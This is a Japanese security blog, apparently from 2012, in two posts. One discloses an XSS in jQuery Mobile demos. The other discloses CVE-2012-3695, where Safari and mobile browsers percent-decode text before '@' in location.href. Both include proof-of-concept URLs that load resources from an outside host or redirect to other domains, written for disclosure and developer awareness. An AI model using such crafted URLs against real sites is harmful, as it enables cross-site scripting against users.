例えば、以下のようなURLでXSSが起こります。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-alpha.1/#//l0.cm/jqm


Safari 6未満・Android 4.1未満・Mobile Safari(iOS6.0未満)などでは、ホストの前にある@の前の文字列を同一のドメインとみなして、http://l0.cm/jqmのリソースを読み込んでしまいます。

以下で確認できるように、1.2 Betaではこの問題は起きません。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-beta.1/#//l0.cm/jqm


ということで、アップデートしましょう。


2012/9/25 追記 1.2 RC1/RC2では、問題が再発しているようです。
https://github.com/jquery/jquery-mobile/issues/4787#issuecomment-8808793

以下で確認できます。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.1/#//l0.cm/jqm
http://l0.cm%2F@jquerymobile.com/demos/1.2.0-rc.2/#//l0.cm/jqm

今のところ公式にリリースされたもので対応されているのは、1.2 Betaだけということになります。
1.2 RC1/RC2を使うのは避けましょう。

2012/10/3 追記

1.2 がリリースされました。これは大丈夫そうです。

http://l0.cm%2F@jquerymobile.com/demos/1.2.0/#//l0.cm/jqm


2012/08/02

location.hrefの盲点

夏ということで、怖い話をします。 Webアプリケーション開発者の皆さん、聞いて下さい。
時間がない人や、他の人に問題を説明するときなどには簡潔にまとめた版をどうぞ。

 これは2011年12月27日にAppleに報告したSafariの問題です。Appleからは修正する予定はないという回答を貰っていましたが、2012年7月25日にリリースされたMacのSafari 6のアドバイザリによるとどうもMacのSafari 6では修正されたようです。

About the security content of Safari 6
http://support.apple.com/kb/HT5400
WebKit
Available for: OS X Lion v10.7.4, OS X Lion Server v10.7.4
Impact: Visiting a maliciously crafted website may lead to a cross-site scripting attack
Description: A canonicalization issue existed in the handling of URLs. This may have lead to cross-site scripting on sites which use the location.href property. This issue is addressed through improved canonicalization of URLs.
CVE-ID CVE-2012-3695 : Masato Kinugawa
 
Windows版Safariで確認した問題でしたが、今のところWindows版のアップデートは出ていません。Windows版が出るまでは書くのを控えるつもりでしたが、MacのSafari 6がリリースされてから1週間経ってもAppleからは出すか出さないかの告知さえ無いので、もう書いてしまいます。

このようなコードがあったとします。


http://vulnerabledoma.in/webkit_locationhref/
<button onclick="location.href=location.href">reload</button>

location.hrefにlocation.hrefを代入するだけの単純なコードです。リロードされると思うのが普通だと思います。しかしながら、Safariではそうならないときがあるのです。以下のようなURLで、example.comへとばされます。

http://example.com%2F@vulnerabledoma.in/webkit_locationhref/

なぜこんなことが起きるかというと、上のページで、document.writeされているlocation.hrefに注目してください。@の前の「%2F」が「/」にデコードされて表示されています。そうです、なんと、Safariのlocation.hrefは、ホストの前の@の前の文字列をパーセントデコードして返すのです。(@がついたURLはあまり目にしませんが、@の前には認証情報を記述することができます。)
これはつまり、location.hrefが自分と同じドメインのURLを返すことを前提に書いているコードは全て、正しく動かない恐れがあるということです。最悪の場合、XSSが起こります。実際にこの挙動によって引き起こされるXSSを、Googleのサービスでいくつかみつけています:






これはほんの一部です。location.hrefを使って取得したURLから新たに通信をしようとした時に、誤ったホストからリソースを読み込んでしまいXSSを起こしてしまうケースが多くみられました。(どれも既に修正されています。ちなみにGoogleはこれをSafariのバグとみなしているので、報酬は報告した数ではなく、この挙動の情報提供として特別に$1,000を貰っています。)

幸いSafariでは、ホストの前に@を含むURLにアクセスしようとすると、設定を変更していなければフィッシングの警告画面が出ます。よって、もしこの問題を利用したXSSのURLを踏まされても、警告が出て不安になって引き返すユーザーが多いかもしれません。しかし、これはあくまでもフィッシング警告(@の前の文字列がホストだと思わせるようにURLが細工されているかもしれないことを警告しているだけ)であり、XSSの警告ではありません。

Safariがバグとして修正したなら、Appleが自分に問題があることを認めたということで、それでよしとしたいところですが、残念なお知らせがあります。Safari Mobile/Androidの標準ブラウザもこの動きをするのです。

Android標準ブラウザで% 00-FFを@の前に配置しalert(location.href)した図。%デコードされているのがわかる。

さらに、Androidの標準ブラウザは@付きURLにアクセスする時に警告も出しません。

今この情報を出した一番の理由として、このモバイルの問題をどうやっても早急に解決できないことがあげられます。モバイル端末のアップデートは機種によりまちまちで、提供されるかもわかりません。そんな現状で、このような潜在的な問題が早く修正されるとは思えません。アプリケーション開発者で対応するしかないでしょう。

@のついたURLでアクセスされることは多くのサービスで普通はないはずなので、location.href周りのコードが動かなくなるだけなら修正するほどではないと思いますが、XSSが起きるとなれば話は別だと思います。今一度、安全ではない方法でlocation.hrefを参照していないか、確認してみてください。